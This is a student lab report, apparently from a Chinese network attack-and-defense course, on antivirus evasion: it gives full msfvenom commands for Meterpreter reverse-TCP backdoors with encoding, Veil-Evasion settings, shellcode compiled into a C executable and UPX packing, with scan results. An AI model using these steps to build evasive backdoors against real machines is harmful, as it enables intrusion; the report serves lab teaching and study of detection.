20155330 《网络攻防》 Exp3 免杀原理与实践

基础问题回答

  1. 杀软是如何检测出恶意代码的?

    1. 基于特征码。先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码。
    2. 基于行为。杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等行为进行判断。
  2. 免杀是做什么?

    恶意代码避免杀毒软件查杀,从而实现入侵。

  3. 免杀的基本方法有哪些?

    • 对恶意代码进行加壳
    • 利用shellcode进行编码

实践过程记录

使用msf生成后门程序的检测

  • 将实验二中生成的后门程序上传到virscan中进行扫描,扫描信息及结果如下:



  • 根据扫描结果,有48%的杀软检测出了病毒。

使用msf编码器生成meterpreter可执行文件

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.204.128 LPORT=5330 -f exe > 5330exp3.exe生成一次编码过的可执行文件

  • 再次对生成的程序进行扫描,扫描信息及结果如下:





  • 相较于直接生成后门程序,进行过编码后的程序依然有48%的杀软检测出病毒。
  • 将文件进行十次编码

  • 扫描文件,还是被那么多的杀软查杀到,那么多次编码好像也没有太大的作用。





Veil-Evasion免杀平台

  • 在终端中使用veil-evasion命令打开该软件。

  • 输入
use python/meterpreter/rev_tcp  //设置payload
set LHOST 192.168.204.138 //设置反弹连接win-IP
set port 443 //设置反弹端口443,默认为4444
generate //生成
5330 //程序名
1





  • 从路径/var/lib/veil-evasion/output/compiled找到相应程序,放到网站上扫描,结果如下:





C语言调用Shellcode

  • 在kali主机下打开终端,执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=Kali-IP LPORT=443 -f c,生成一个C语言数组。



  • 创建一个C文件(可用touch命令生成):MSSC_5330.c(免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数。



  • 使用i686-w64-mingw32-g++ MSSC_5330.c -o MSSC_5330.exe命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件MSSC_5330.exe。

  • 放到网站上扫描一下,发现可以检测到病毒的杀软更少了。



  • 通过nc命令将可执行文件传到win7主机上,很快就被查杀了QAQ。

加壳

  • 通过命令upx #需要加壳的文件名 -o #加壳后的文件名,生成程序。

  • 放到网站上扫描一下,emmmmm...没什么变化……



  • 再传到win7主机上,扫描一下。

  • 好像可以了?看看扫描日志。

  • 过了一会,又被查杀了TUT。

离实战还缺些什么技术或步骤?

应该是对编写免杀代码还不太了解,以目前的能力还只能依靠软件来生成代码,如果是纯手工的代码可能免杀的几率会更大一些。

实践总结与体会

通过不同的方式对恶意代码生成病毒程序有了一定的了解,可以简单制作出一些免杀后门。从而也了解到了目前我们所信赖的杀软其实还是存在着一些漏洞,假设将shellcode进行重新组合再加壳的话,免杀率应该还会再上升,从而通过杀软的扫描,入侵靶机。

20155330 《网络攻防》 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  3. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  4. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  5. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  6. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  7. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  8. 2015306 白皎 《网络攻防》Exp3 免杀原理与实践

    2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...

  9. 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践

    ### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

随机推荐

  1. ActiveReports 区域报表中的事件介绍

    1.仅触发一次的事件 以下是在报表的处理过程中仅触发一次的所有事件这些事件在报表的处理周期中仅在最开始和结束前触发一次. ReportStart 该事件在DataInitialize事件触发之前发生. ...

  2. FileWriter剖析

    集合这种容器存储数据,它只能在内存中临时存储,不能永久存储,这样会导致数据的丢失,所以出现了IO流. IO流用来处理设备之间的数据传输.可以用来做复制文件,上传文件,下载文件. 读数据是输入流,写数据 ...

  3. su、sudo、su - root的区别

    su和sudo的区别 共同点:都是root用户权限: 不同点:su只获得root权限,工作环境不变,还是在切换之前用户的工作环境:sudo是完全获得root的权限和root的工作环境. sudo:表示 ...

  4. LeetCode题解之Find All Numbers Disappeared in an Array

    1.题目描述 2.问题分析 使的 A[i] = i+1 ,最后检查不满足这个条件的i+1 .即为缺失的值. 3.代码 vector<int> findDisappearedNumbers( ...

  5. Oracle EBS INV 创建物料搬运单

    Create or Replace PROCEDURE ProcessMoveOrder AS -- Common Declarations l_api_version NUMBER := 1.0; ...

  6. SQL Server 的 RowGuid/RowGuidCol 是什么意思?

    SQL Server 中设计表时,有个属性叫 RowGuid(用 SQL 时,关键词是 RowGuidCol),这个是什么意思呢?这个是全局唯一标识符,与“标识”不同,标识是只在本表中唯一,全局唯一标 ...

  7. .net core 在linux系统运行

    .net都已经跨平台了,所以想把一些东西部署到linux服务器上去 ,首先介绍一款叫做MobaXterm的软件,功能相当强大,感觉比xshell和putty好用,可以相对方便的操作linux系统,官网 ...

  8. Archive MySQL Data In Chunks Using Stored Procedure

    sqladminon September 26, 2018 In a DBA’s day to day activities, we are doing Archive operation on ou ...

  9. 【转】Java学习---volatile 关键字

    [原文]https://www.toutiao.com/i6591422029323305480/ 前言 不管是在面试还是实际开发中 volatile 都是一个应该掌握的技能. 首先来看看为什么会出现 ...

  10. 邮局加强版:四边形不等式优化DP

    题目描述 一些村庄建在一条笔直的高速公路边上,我们用一条坐标轴来描述这条公路,每个村庄的坐标都是整数,没有两个村庄的坐标相同.两个村庄的距离定义为坐标之差的绝对值.我们需要在某些村庄建立邮局.使每个村 ...